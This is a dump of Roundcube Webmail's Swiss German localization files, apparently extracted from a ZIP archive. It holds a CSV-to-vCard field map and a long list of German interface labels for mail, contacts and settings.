$labels['tz:pacific:easter'] = 'Osterinsel';
PK
h�\N�"��(program/localization/de_CH/csv2vcard.incnu�[���<?php

/*
+-----------------------------------------------------------------------+
| localization/de_CH/csv2vcard.inc                                      |
|                                                                       |
| Localization file of the Roundcube Webmail client                     |
| Copyright (C) 2005-2014, The Roundcube Dev Team                       |
|                                                                       |
| Licensed under the GNU General Public License version 3 or            |
| any later version with exceptions for skins & plugins.                |
| See the README file for a full license statement.                     |
|                                                                       |
+-----------------------------------------------------------------------+
| Author: Aleksander Machniak <alec@alec.pl>                            |
+-----------------------------------------------------------------------+
*/
$map = array();
$map['anniversary'] = "Jahrestag";
$map['assistants_name'] = "Name Assistent";
$map['assistants_phone'] = "Telefon Assistent";
$map['birthday'] = "Geburtstag";
$map['business_city'] = "Ort geschäftlich";
$map['business_countryregion'] = "Region geschäftlich";
$map['business_fax'] = "Fax geschäftlich";
$map['business_phone'] = "Telefon geschäftlich";
$map['business_phone_2'] = "Telefon geschäftlich 2";
$map['business_postal_code'] = "Postleitzahl geschäftlich";
$map['business_state'] = "Land geschäftlich";
$map['business_street'] = "Straße geschäftlich";
$map['car_phone'] = "Autotelefon";
$map['categories'] = "Kategorien";
$map['company'] = "Firma";
$map['department'] = "Abteilung";
$map['email_address'] = "E-Mail-Adresse";
$map['first_name'] = "Vorname";
$map['gender'] = "Geschlecht";
$map['home_city'] = "Ort privat";
$map['home_countryregion'] = "Region privat";
$map['home_fax'] = "Fax privat";
$map['home_phone'] = "Telefon privat";
$map['home_phone_2'] = "Telefon privat 2";
$map['home_postal_code'] = "Postleitzahl privat";
$map['home_state'] = "Land privat";
$map['home_street'] = "Straße privat";
$map['job_title'] = "Position";
$map['last_name'] = "Nachname";
$map['managers_name'] = "Manager's Name";
$map['middle_name'] = "Weitere Vornamen";
$map['mobile_phone'] = "Mobiltelefon";
$map['notes'] = "Notizen";
$map['other_city'] = "Weiterer Ort";
$map['other_countryregion'] = "Weitere Region";
$map['other_fax'] = "Weiteres Fax";
$map['other_phone'] = "Weiteres Telefon";
$map['other_postal_code'] = "Weitere Postleitzahl";
$map['other_state'] = "Weiteres Land";
$map['other_street'] = "Weitere Straße";
$map['pager'] = "Pager";
$map['primary_phone'] = "Haupttelefon";
$map['spouse'] = "Spouse";
$map['suffix'] = "Suffix";
$map['title'] = "Title";
$map['web_page'] = "Webseite";
$map['birth_day'] = "Geburtstag";
$map['birth_month'] = "Geburtsmonat";
$map['birth_year'] = "Geburtsjahr";
$map['display_name'] = "Anzeigename";
$map['fax_number'] = "Fax-Nummer";
$map['home_address'] = "Privat: Adresse";
$map['home_country'] = "Privat: Land";
$map['home_zipcode'] = "Privat: PLZ";
$map['mobile_number'] = "Mobil-Tel.-Nr.";
$map['nickname'] = "Spitzname";
$map['organization'] = "Organisation";
$map['pager_number'] = "Pager-Nummer";
$map['primary_email'] = "Primäre E-Mail-Adresse";
$map['secondary_email'] = "Sekundäre E-Mail-Adresse";
$map['web_page_1'] = "Webseite 1";
$map['web_page_2'] = "Webseite 2";
$map['work_phone'] = "Tel. dienstlich";
$map['work_address'] = "Dienstlich: Adresse";
$map['work_country'] = "Dienstlich: Land";
$map['work_zipcode'] = "Dienstlich: PLZ";
$map['date_of_birth'] = "Date of Birth";
$map['email'] = "Email";
$map['home_mobile'] = "Home Mobile";
$map['home_zip'] = "Home Zip";
$map['info'] = "Info";
$map['user_photo'] = "User Photo";
$map['url'] = "URL";
$map['work_city'] = "Work City";
$map['work_company'] = "Work Company";
$map['work_dept'] = "Work Dept";
$map['work_fax'] = "Work Fax";
$map['work_mobile'] = "Work Mobile";
$map['work_state'] = "Work State";
$map['work_title'] = "Work Title";
$map['work_zip'] = "Work Zip";
PK
h�\?LHe�e�%program/localization/de_CH/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Willkommen bei $product';
$labels['username'] = 'Benutzername';
$labels['password'] = 'Passwort';
$labels['server'] = 'Server';
$labels['login'] = 'Login';
$labels['oauthlogin'] = 'Anmelden mit $provider';
$labels['menu'] = 'Menü';
$labels['logout'] = 'Abmelden';
$labels['mail'] = 'E-Mail';
$labels['settings'] = 'Einstellungen';
$labels['addressbook'] = 'Adressbuch';
$labels['darkmode'] = 'Dunkler Modus';
$labels['lightmode'] = 'Heller Modus';
$labels['inbox'] = 'Posteingang';
$labels['drafts'] = 'Entwürfe';
$labels['sent'] = 'Gesendet';
$labels['trash'] = 'Gelöscht';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Spezialordner nicht übersetzen';
$labels['subject'] = 'Betreff';
$labels['from'] = 'Von';
$labels['sender'] = 'Absender';
$labels['to'] = 'An';
$labels['cc'] = 'Kopie (CC)';
$labels['bcc'] = 'Blind-Kopie';
$labels['replyto'] = 'Antwort an';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Datum';
$labels['size'] = 'Grösse';
$labels['priority'] = 'Priorität';
$labels['organization'] = 'Organisation';
$labels['readstatus'] = 'Gelesen/Ungelesen';
$labels['listoptions'] = 'Listenoptionen...';
$labels['listoptionstitle'] = 'Listeneinstellungen';
$labels['mailboxlist'] = 'Ordner';
$labels['messagesfromto'] = 'Nachrichten $from bis $to von $count';
$labels['threadsfromto'] = 'Konversationen $from bis $to von $count';
$labels['messagenrof'] = 'Nachricht $nr von $count';
$labels['fromtoshort'] = '$from – $to von $count';
$labels['copy'] = 'Kopieren';
$labels['move'] = 'Verschieben';
$labels['moveto'] = 'Verschieben nach...';
$labels['copyto'] = 'Kopieren nach...';
$labels['download'] = 'Download';
$labels['open'] = 'Öffnen';
$labels['showattachment'] = 'Anzeigen';
$labels['showanyway'] = 'Trotzdem anzeigen';
$labels['filename'] = 'Dateiname';
$labels['filesize'] = 'Dateigrösse';
$labels['addtoaddressbook'] = 'Ins Adressbuch übernehmen';
$labels['sun'] = 'So';
$labels['mon'] = 'Mo';
$labels['tue'] = 'Di';
$labels['wed'] = 'Mi';
$labels['thu'] = 'Do';
$labels['fri'] = 'Fr';
$labels['sat'] = 'Sa';
$labels['sunday'] = 'Sonntag';
$labels['monday'] = 'Montag';
$labels['tuesday'] = 'Dienstag';
$labels['wednesday'] = 'Mittwoch';
$labels['thursday'] = 'Donnerstag';
$labels['friday'] = 'Freitag';
$labels['saturday'] = 'Samstag';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mär';
$labels['apr'] = 'Apr';
$labels['may'] = 'Mai';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dez';
$labels['longjan'] = 'Januar';
$labels['longfeb'] = 'Februar';
$labels['longmar'] = 'März';
$labels['longapr'] = 'April';
$labels['longmay'] = 'Mai';
$labels['longjun'] = 'Juni';
$labels['longjul'] = 'Juli';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'Oktober';
$labels['longnov'] = 'November';
$labels['longdec'] = 'Dezember';
$labels['today'] = 'Heute';
$labels['refresh'] = 'Aktualisieren';
$labels['checkmail'] = 'Auf neue Nachrichten prüfen';
$labels['compose'] = 'Schreiben';
$labels['writenewmessage'] = 'Neue Nachricht schreiben';
$labels['reply'] = 'Antworten';
$labels['replytomessage'] = 'Antwort verfassen';
$labels['replytoallmessage'] = 'Antwort an Absender und alle Empfänger verfassen';
$labels['replyall'] = 'Allen antworten';
$labels['replylist'] = 'Liste antworten';
$labels['forward'] = 'Weiterleiten';
$labels['forwardinline'] = 'Eingebunden weiterleiten';
$labels['forwardattachment'] = 'Als Anhang weiterleiten';
$labels['forwardmessage'] = 'Nachricht weiterleiten';
$labels['bouncemsg'] = 'Erneut senden (Bounce)';
$labels['bounce'] = 'Erneut senden';
$labels['deletemessage'] = 'Nachricht löschen';
$labels['movemessagetotrash'] = 'Nachricht in den Papierkorb verschieben';
$labels['printmessage'] = 'Nachricht drucken';
$labels['previousmessage'] = 'Vorherige Nachricht anzeigen';
$labels['firstmessage'] = 'Die erste Nachricht anzeigen';
$labels['nextmessage'] = 'Nächste Nachricht anzeigen';
$labels['lastmessage'] = 'Die letzte Nachricht anzeigen';
$labels['backtolist'] = 'Zurück zur Liste';
$labels['viewsource'] = 'Quelltext anzeigen';
$labels['mark'] = 'Markieren';
$labels['markmessages'] = 'Nachrichten markieren';
$labels['markread'] = 'Als gelesen';
$labels['markunread'] = 'Als ungelesen';
$labels['markflagged'] = 'Markierung hinzufügen';
$labels['markunflagged'] = 'Markierung entfernen';
$labels['markundeleted'] = 'Als nicht gelöscht';
$labels['moreactions'] = 'Mehr ...';
$labels['markallread'] = 'Alle als gelesen markieren';
$labels['folders-cur'] = 'Nur ausgewählten Ordner';
$labels['folders-sub'] = 'Ausgewählter Ordner und seine Unterordner';
$labels['folders-all'] = 'Alle Ordner';
$labels['more'] = 'Mehr';
$labels['back'] = 'Zurück';
$labels['options'] = 'Optionen';
$labels['composeoptions'] = 'Optionen für die neue Nachrichten';
$labels['optionsandattachments'] = 'Optionen und Anhänge';
$labels['actions'] = 'Aktionen';
$labels['first'] = 'Erste';
$labels['last'] = 'Letzte';
$labels['previous'] = 'Vorherige';
$labels['next'] = 'Nächste';
$labels['select'] = 'Auswählen';
$labels['selection'] = 'Auswahl';
$labels['all'] = 'Alle';
$labels['none'] = 'Keine';
$labels['currpage'] = 'Aktuelle Seite';
$labels['isread'] = 'Gelesen';
$labels['unread'] = 'Ungelesene';
$labels['flagged'] = 'Markierte';
$labels['unflagged'] = 'Nicht markiert';
$labels['unanswered'] = 'Unbeantwortete';
$labels['withattachment'] = 'Mit Anhang';
$labels['deleted'] = 'Gelöschte';
$labels['undeleted'] = 'Nicht gelöscht';
$labels['replied'] = 'Beantwortet';
$labels['forwarded'] = 'Weitergeleitet';
$labels['invert'] = 'Umkehren';
$labels['filter'] = 'Filter';
$labels['list'] = 'Liste';
$labels['threads'] = 'Konversationen';
$labels['expand-all'] = 'Alle aufklappen';
$labels['expand-unread'] = 'Ungelesene aufklappen';
$labels['collapse-all'] = 'Alle zuklappen';
$labels['threaded'] = 'Gruppiert';
$labels['showunread'] = ' Ungelesene Nachrichten anzeigen';
$labels['autoexpand_threads'] = 'Konversationen aufklappen';
$labels['do_expand'] = 'alle';
$labels['expand_only_unread'] = 'nur ungelesene';
$labels['fromto'] = 'Von/An';
$labels['flag'] = 'Markierung';
$labels['attachment'] = 'Anhang';
$labels['nonesort'] = 'Keine';
$labels['sentdate'] = 'Sendedatum';
$labels['arrival'] = 'Empfangsdatum';
$labels['asc'] = 'aufsteigend';
$labels['desc'] = 'absteigend';
$labels['listcolumns'] = 'Spalten';
$labels['listsorting'] = 'Sortierung';
$labels['listorder'] = 'Ordnung';
$labels['listmode'] = 'Anzeigemodus';
$labels['lmode'] = 'Listen-Modus';
$labels['layout'] = 'Layout';
$labels['layoutwidescreen'] = 'Breitbild';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Liste';
$labels['layoutwidescreendesc'] = 'Breitbild (3-Spalten-Ansicht)';
$labels['layoutdesktopdesc'] = 'Desktop (breite Liste mit Vorschau unterhalb)';
$labels['layoutlistdesc'] = 'Liste (keine Vorschau)';
$labels['folderactions'] = 'Ordneraktionen...';
$labels['compact'] = 'Packen';
$labels['empty'] = 'Leeren';
$labels['importmessages'] = 'Nachrichten importieren';
$labels['mailimportdesc'] = 'Sie können E-Mails im <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a>- oder <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>-Format hochladen.';
$labels['mailimportzip'] = 'Mehrere Dateien können in ein Zip-Archiv gepackt werden.';
$labels['quota'] = 'Kapazität';
$labels['unknown'] = 'unbekannt';
$labels['unlimited'] = 'unlimitiert';
$labels['quotatype'] = 'Kapazitätstyp';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'Verwendet';
$labels['quotastorage'] = 'Speicherplatz';
$labels['quotamessage'] = 'Anzahl Nachrichten';
$labels['shortheaderdate'] = 'Am $date';
$labels['shortheaderto'] = 'An $to am $date';
$labels['shortheaderfrom'] = 'Von $from am $date';
$labels['quicksearch'] = 'Schnellsuche';
$labels['searchplaceholder'] = 'Suche...';
$labels['resetsearch'] = 'Löschen';
$labels['searchmod'] = 'Suchkriterien ändern';
$labels['msgtext'] = 'Ganze Nachricht';
$labels['body'] = 'Inhalt';
$labels['type'] = 'Typ';
$labels['namex'] = 'Name';
$labels['searchscope'] = 'Suchbereich';
$labels['currentfolder'] = 'Aktueller Ordner';
$labels['subfolders'] = 'Aktueller und Unterordner';
$labels['allfolders'] = 'Alle Ordner';
$labels['searchinterval-1W'] = 'älter als eine Woche';
$labels['searchinterval-1M'] = 'älter als ein Monat';
$labels['searchinterval-1Y'] = 'älter als ein Jahr';
$labels['searchinterval1W'] = 'jünger als eine Woche';
$labels['searchinterval1M'] = 'jünger als ein Monat';
$labels['searchinterval1Y'] = 'jünger als ein Jahr';
$labels['openinextwin'] = 'In neuem Fenster öffnen';
$labels['emlsave'] = 'Herunterladen (.eml)';
$labels['changeformattext'] = 'Als reiner Text anzeigen';
$labels['changeformathtml'] = 'Als original HTML anzeigen';
$labels['editasnew'] = 'Als neue Nachricht öffnen';
$labels['send'] = 'Senden';
$labels['sendmessage'] = 'Nachricht jetzt senden';
$labels['savemessage'] = 'Nachricht speichern';
$labels['addattachment'] = 'Datei anfügen';
$labels['charset'] = 'Zeichensatz';
$labels['editortype'] = 'Editor-Typ';
$labels['returnreceipt'] = 'Empfangsbestätigung (MDN)';
$labels['dsn'] = 'Übermittlungsbestätigung (DSN)';
$labels['keepformatting'] = 'Formatierung beibehalten';
$labels['mailreplyintro'] = 'Am $date, schrieb $sender:';
$labels['originalmessage'] = 'Originalnachricht';
$labels['selectimage'] = 'Bild auswählen';
$labels['addimage'] = 'Bild hinzufügen';
$labels['selectmedia'] = 'Video auswählen';
$labels['addmedia'] = 'Video hinzufügen';
$labels['encrypt'] = 'Verschlüsseln';
$labels['encryptmessage'] = 'Nachricht verschlüsseln';
$labels['encryptmessagemailvelope'] = 'Nachricht verschlüsseln mit Mailvelope';
$labels['importpubkeys'] = 'Öffentliche Schlüssel importieren';
$labels['encryptedsendialog'] = 'Verschlüsselte Nachricht senden';
$labels['encryptandsign'] = 'Verschlüsseln & signieren';
$labels['keyid'] = 'Schlüsselkennung';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Abgelaufen';
$labels['keyrevoked'] = 'Widerrufen';
$labels['bccinstead'] = 'Bcc verwenden';
$labels['addheader'] = 'Empfänger hinzufügen (Kopfzeile)';
$labels['insert'] = 'Hinzufügen';
$labels['insertcontact'] = 'Kontakt(e) einfügen';
$labels['recipient'] = 'Empfänger';
$labels['recipientedit'] = 'Empfänger bearbeiten';
$labels['editidents'] = 'Absender bearbeiten';
$labels['spellcheck'] = 'Rechtschreibung';
$labels['checkspelling'] = 'Rechtschreibung prüfen';
$labels['resumeediting'] = 'Bearbeitung fortsetzen';
$labels['revertto'] = 'Zurück zu';
$labels['restore'] = 'Wiederherstellen';
$labels['restoremessage'] = 'Nachricht wiederherstellen?';
$labels['ignore'] = 'Ignorieren';
$labels['responses'] = 'Antworten';
$labels['insertresponse'] = 'Antwort einfügen';
$labels['manageresponses'] = 'Antworten verwalten';
$labels['newresponse'] = 'Neue Antwort erstellen';
$labels['addresponse'] = 'Antwort hinzufügen';
$labels['editresponse'] = 'Antwort bearbeiten';
$labels['editresponses'] = 'Antworten bearbeiten';
$labels['responsename'] = 'Name';
$labels['responsetext'] = 'Antworttext';
$labels['attach'] = 'Anhängen';
$labels['attachments'] = 'Anhänge';
$labels['upload'] = 'Hochladen';
$labels['uploadprogress'] = '$percent ($current von $total)';
$labels['close'] = 'Schliessen';
$labels['messageoptions'] = 'Optionen...';
$labels['togglecomposeoptions'] = 'Nachrichten-Optionen ein-/ausblenden';
$labels['attachmentrename'] = 'Anhang umbenennen';
$labels['low'] = 'Niedrig';
$labels['lowest'] = 'Niedrigste';
$labels['normal'] = 'Normal';
$labels['high'] = 'Hoch';
$labels['highest'] = 'Höchste';
$labels['nosubject'] = '(kein Betreff)';
$labels['showimages'] = 'Bilder anzeigen';
$labels['allow'] = 'Erlauben';
$labels['alwaysshow'] = 'Bilder von $sender immer zeigen';
$labels['alwaysallow'] = 'Von $sender immer erlauben';
$labels['isdraft'] = 'Dies ist ein Entwurf';
$labels['andnmore'] = '$nr weitere...';
$labels['details'] = 'Details';
$labels['summary'] = 'Zusammenfassung';
$labels['headers'] = 'Kopfzeilen';
$labels['allheaders'] = 'Alle Kopfzeilen...';
$labels['togglemoreheaders'] = 'Weitere Kopfzeilen anzeigen';
$labels['togglefullheaders'] = 'Original-Kopfzeilen ein-/ausblenden';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Klartext';
$labels['savesentmessagein'] = 'Nachricht speichern in';
$labels['dontsave'] = 'nicht speichern';
$labels['maxuploadsize'] = 'Maximal erlaubte Dateigrösse ist $size';
$labels['addcc'] = 'Cc hinzufügen';
$labels['addbcc'] = 'Bcc hinzufügen';
$labels['addreplyto'] = 'Antwortadresse hinzufügen';
$labels['addfollowupto'] = 'Followup-To hinzufügen';
$labels['sendreceipt'] = 'Lesebestätigung senden?';
$labels['mdnrequest'] = 'Der Sender dieser Nachricht hat eine Empfangsbestätigung angefordert. Möchten Sie diese jetzt senden?';
$labels['receiptread'] = 'Empfangsbestätigung (gelesen)';
$labels['yourmessage'] = 'Dieses ist eine Empfangsbestätigung für Ihre Nachricht';
$labels['receiptnote'] = 'Hinweis: Der Empfänger hat den Empfang der Nachricht bestätigt. Dieses ist keine Garantie, dass die Nachricht gelesen und verstanden wurde.';
$labels['sendalwaysto'] = 'Immer an $email senden';
$labels['zoomin'] = 'Vergrössern';
$labels['zoomout'] = 'Verkleinern';
$labels['rotate'] = 'Drehen';
$labels['increaseimage'] = 'Bild vergrössern';
$labels['decreaseimage'] = 'Bild verkleinern';
$labels['rotateimage'] = 'Bild drehen';
$labels['showtools'] = 'Bildwerkzeuge einblenden';
$labels['hidetools'] = 'Bildwerkzeuge ausblenden';
$labels['name'] = 'Anzeigename';
$labels['firstname'] = 'Vorname';
$labels['surname'] = 'Nachname';
$labels['middlename'] = '2. Vorname';
$labels['nameprefix'] = 'Präfix';
$labels['namesuffix'] = 'Suffix';
$labels['nickname'] = 'Spitzname';
$labels['jobtitle'] = 'Titel';
$labels['department'] = 'Abteilung';
$labels['gender'] = 'Geschlecht';
$labels['maidenname'] = 'Mädchenname';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresse';
$labels['street'] = 'Strasse';
$labels['locality'] = 'Ort';
$labels['zipcode'] = 'PLZ';
$labels['region'] = 'Region';
$labels['country'] = 'Land';
$labels['birthday'] = 'Geburtstag';
$labels['anniversary'] = 'Jahrestag';
$labels['website'] = 'Website';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Notizen';
$labels['male'] = 'männlich';
$labels['female'] = 'weiblich';
$labels['manager'] = 'Vorgesetzte/r';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Partner/in';
$labels['allfields'] = 'Alle Felder';
$labels['search'] = 'Suche';
$labels['searchresult'] = 'Suchresultat';
$labels['advsearch'] = 'Erweiterte Suche';
$labels['advanced'] = 'Erweitert';
$labels['other'] = 'Andere';
$labels['printcontact'] = 'Kontakt drucken';
$labels['qrcode'] = 'QR-Code';
$labels['typehome'] = 'Zuhause';
$labels['typework'] = 'Arbeit';
$labels['typeother'] = 'Andere';
$labels['typemobile'] = 'Mobiltelefon';
$labels['typemain'] = 'Hauptnummer';
$labels['typehomefax'] = 'Fax Zuhause';
$labels['typeworkfax'] = 'Fax Arbeit';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Homepage';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Feld hinzufügen...';
$labels['addcontact'] = 'Kontakt hinzufügen';
$labels['editcontact'] = 'Kontakt bearbeiten';
$labels['contacts'] = 'Kontakte';
$labels['contactproperties'] = 'Kontaktdaten';
$labels['contactnameandorg'] = 'Name und Organisation';
$labels['personalinfo'] = 'Persönliche Informationen';
$labels['personal'] = 'Persönlich';
$labels['contactphoto'] = 'Kontakt-Bild';
$labels['edit'] = 'Bearbeiten';
$labels['cancel'] = 'Abbrechen';
$labels['save'] = 'Speichern';
$labels['delete'] = 'Löschen';
$labels['discard'] = 'Verwerfen';
$labels['continue'] = 'Weiter';
$labels['ok'] = 'OK';
$labels['rename'] = 'Umbenennen';
$labels['addphoto'] = 'Hinzufügen';
$labels['replacephoto'] = 'Ersetzen';
$labels['uploadphoto'] = 'Bild hochladen';
$labels['choosefile'] = 'Datei auswählen...';
$labels['choosefiles'] = 'Dateien auswählen...';
$labels['browse'] = 'Durchsuchen';
$labels['newcontact'] = 'Neuen Kontakt erfassen';
$labels['deletecontact'] = 'Gewählte Kontakte löschen';
$labels['composeto'] = 'Nachricht verfassen';
$labels['contactsfromto'] = 'Kontakte $from bis $to von $count';
$labels['print'] = 'Drucken';
$labels['export'] = 'Exportieren';
$labels['exportall'] = 'Alle exportieren';
$labels['exportsel'] = 'Ausgewählte exportieren';
$labels['exportvcards'] = 'Kontakte im vCard-Format exportieren';
$labels['newgroup'] = 'Neue Addressgruppe erstellen';
$labels['addgroup'] = 'Gruppe hinzufügen';
$labels['grouprename'] = 'Gruppe umbenennen';
$labels['groupdelete'] = 'Gruppe löschen';
$labels['groupassign'] = 'Zur Gruppe hinzufügen...';
$labels['groupremove'] = 'Aus Gruppe entfernen';
$labels['groupremoveselected'] = 'Gewählte Kontakte aus Gruppe entfernen';
$labels['uponelevel'] = 'Eine Ebene nach oben';
$labels['previouspage'] = 'Eine Seite zurück';
$labels['firstpage'] = 'Erste Seite';
$labels['nextpage'] = 'Nächste Seite';
$labels['lastpage'] = 'Letzte Seite';
$labels['group'] = 'Gruppe';
$labels['groups'] = 'Gruppen';
$labels['listgroup'] = 'Gruppenmitglieder anzeigen';
$labels['personaladrbook'] = 'Persönliches Adressbuch';
$labels['searchsave'] = 'Suche speichern';
$labels['searchdelete'] = 'Suche löschen';
$labels['import'] = 'Importieren';
$labels['importcontacts'] = 'Adressen importieren';
$labels['importfromfile'] = 'Aus Datei importieren';
$labels['importtarget'] = 'Importieren nach';
$labels['importreplace'] = 'Bestehendes Adressbuch komplett ersetzen';
$labels['importgroups'] = 'Gruppenzuweisungen importieren';
$labels['importgroupsall'] = 'Alle (nicht vorhandene Gruppen erstellen)';
$labels['importgroupsexisting'] = 'Für existierende Gruppen';
$labels['importdesc'] = 'Sie können Kontakte aus einem bestehenden Adressbuch hochladen.<br/>Unterstützt werden aktuell <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> oder CSV (comma-separated) Dateiformate.';
$labels['importmapdesc'] = 'Prüfen Sie die unten stehende Spaltenzuweisung bevor der Import der CSV-Daten (komma-getrennt) fortgesetzt wird.';
$labels['fieldnotmapped'] = 'Feld nicht zugewiesen (nicht importieren)';
$labels['skipheader'] = 'Die erste Zeile nicht importieren (Kopfzeile)';
$labels['done'] = 'Fertig';
$labels['settingsfor'] = 'Einstellungen für';
$labels['about'] = 'Über';
$labels['preferences'] = 'Einstellungen';
$labels['userpreferences'] = 'Benutzereinstellungen';
$labels['editpreferences'] = 'Einstellungen bearbeiten';
$labels['identities'] = 'Absender';
$labels['manageidentities'] = 'Absender verwalten';
$labels['newidentity'] = 'Neuen Absender erfassen';
$labels['addidentity'] = 'Absender hinzufügen';
$labels['editidentity'] = 'Absender bearbeiten';
$labels['identityencryption'] = 'Verschlüsselung';
$labels['preferhtml'] = 'HTML bevorzugen';
$labels['defaultcharset'] = 'Standard-Zeichensatz';
$labels['htmlmessage'] = 'HTML Nachricht';
$labels['messagepart'] = 'Abschnitt';
$labels['digitalsig'] = 'Digitale Signatur';
$labels['dateformat'] = 'Datumsformat';
$labels['timeformat'] = 'Zeitformat';
$labels['prettydate'] = 'Kurze Datumsanzeige';
$labels['setdefault'] = 'Als Standard';
$labels['autodetect'] = 'Automatisch';
$labels['language'] = 'Sprache';
$labels['timezone'] = 'Zeitzone';
$labels['pagesize'] = 'Einträge pro Seite';
$labels['signature'] = 'Signatur';
$labels['dstactive'] = 'Sommerzeit';
$labels['showinextwin'] = 'Nachrichten in neuem Fenster öffnen';
$labels['composeextwin'] = 'Nachrichten in neuem Fenster verfassen';
$labels['htmleditor'] = 'HTML-Nachrichten verfassen';
$labels['htmlonreply'] = 'nur Antworten auf HTML-Nachrichten';
$labels['htmlonreplyandforward'] = 'Antworten oder Weiterleiten einer HTML-Nachricht';
$labels['htmlsignature'] = 'HTML-Signatur';
$labels['showemail'] = 'E-Mail-Adresse und Namen anzeigen';
$labels['previewpane'] = 'Nachrichtenvorschau anzeigen';
$labels['skin'] = 'Oberflächendesign';
$labels['logoutclear'] = 'Papierkorb beim Abmelden leeren';
$labels['logoutcompact'] = 'Posteingang beim Abmelden packen';
$labels['uisettings'] = 'Benutzeroberfläche';
$labels['serversettings'] = 'Server-Einstellungen';
$labels['mailboxview'] = 'Mailbox-Ansicht';
$labels['mdnrequests'] = 'Empfangsbestätigung senden';
$labels['askuser'] = 'immer fragen';
$labels['autosend'] = 'automatisch senden';
$labels['autosendknown'] = 'für bekannte Absender, sonst fragen';
$labels['autosendknownignore'] = 'für bekannte Absender, sonst ignorieren';
$labels['autosendtrusted'] = 'Bestätigung an vertrauenswürdige Absender senden, sonst nachfragen';
$labels['autosendtrustedignore'] = 'Bestätigung an vertrauenswürdige Absender senden, sonst ignorieren';
$labels['ignorerequest'] = 'Anfrage ignorieren';
$labels['readwhendeleted'] = 'Beim Löschen als gelesen markieren';
$labels['flagfordeletion'] = 'Als gelöscht markieren anstatt in den Papierkorb verschieben';
$labels['skipdeleted'] = 'Zeige keine gelöschten Nachrichten an';
$labels['deletealways'] = 'Löschen wenn Verschieben in den Papierkorb nicht möglich';
$labels['deletejunk'] = 'Nachrichten in Spam direkt löschen';
$labels['showremoteimages'] = 'Eingebettete Bilder vom Internet laden';
$labels['allowremoteresources'] = 'Externe Ressourcen erlauben (Bilder, Styles)';
$labels['fromknownsenders'] = 'bei bekannten Absendern';
$labels['fromtrustedsenders'] = 'von vertrauenswürdigen Absendern';
$labels['frommycontacts'] = 'aus meinen Kontakten';
$labels['always'] = 'immer';
$labels['alwaysbutplain'] = 'immer, ausser beim Antworten auf Klartext';
$labels['showinlineimages'] = 'Angehängte Bilder unter der Nachricht anzeigen';
$labels['autosavedraft'] = 'Entwurf autom. speichern';
$labels['everynminutes'] = '$n Minute(n)';
$labels['refreshinterval'] = 'Refresh (auf neue Nachrichten prüfen, etc.)';
$labels['never'] = 'nie';
$labels['immediately'] = 'sofort';
$labels['messagesdisplaying'] = 'Nachrichtendarstellung';
$labels['messagescomposition'] = 'Nachrichtenerstellung';
$labels['mimeparamfolding'] = 'Namen der Dateianhänge';
$labels['2231folding'] = 'Vollständig RFC 2231 kompatibel (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 kompatibel (Microsoft Outlook)';
$labels['2047folding'] = 'Vollständig RFC 2047 kompatibel (andere)';
$labels['force7bit'] = 'MIME-Kodierung für 8-bit Zeichen';
$labels['savelocalstorage'] = "Im Browser speichern (temporär)";
$labels['advancedoptions'] = 'Erweiterte Einstellungen';
$labels['toggleadvancedoptions'] = 'Erweiterte Einstellungen ein-/ausblenden';
$labels['focusonnewmessage'] = 'Fokussiere Browserfenster bei neuen Nachrichten';
$labels['checkallfolders'] = 'Alle Ordner auf neue Nachrichten prüfen';
$labels['displaynext'] = 'Nach Verschieben/Löschen den nächsten Listeneintrag anzeigen';
$labels['defaultfont'] = 'Standardschrift in HTML-Nachrichten';
$labels['mainoptions'] = 'Allgemein';
$labels['browseroptions'] = 'Browsereinstellungen';
$labels['section'] = 'Bereich';
$labels['maintenance'] = 'Wartung';
$labels['newmessage'] = 'Neue Nachrichten';
$labels['signatureoptions'] = 'Signatur';
$labels['whenreplying'] = 'Beantworten einer Nachricht';
$labels['replyempty'] = 'Antwort ohne Zitat der Originalnachricht';
$labels['replytopposting'] = 'Antwort über der Originalnachricht';
$labels['replytoppostingnoindent'] = 'Antwort über der Originalnachricht (ohne Einrückung)';
$labels['replybottomposting'] = 'Antwort unter der Originalnachricht';
$labels['replyremovesignature'] = 'Beim Antworten die Signatur der Originalnachricht entfernen';
$labels['autoaddsignature'] = 'Signatur automatisch einfügen';
$labels['newmessageonly'] = 'nur bei neuen Nachrichten';
$labels['replyandforwardonly'] = 'nur bei Antworten und Weiterleitungen';
$labels['insertsignature'] = 'Signatur einfügen';
$labels['sigbelow'] = 'Signatur unter der zitierten Nachricht platzieren';
$labels['sigseparator'] = 'Standardtrennzeichen in Signaturen erzwingen';
$labels['automarkread'] = 'Nachrichten als gelesen markieren';
$labels['afternseconds'] = 'nach $n Sekunden';
$labels['reqmdn'] = 'Empfangsbestätigung (MSN) immer anfordern';
$labels['reqdsn'] = 'Übermittlungsbestätigung (DSN) immer anfordern';
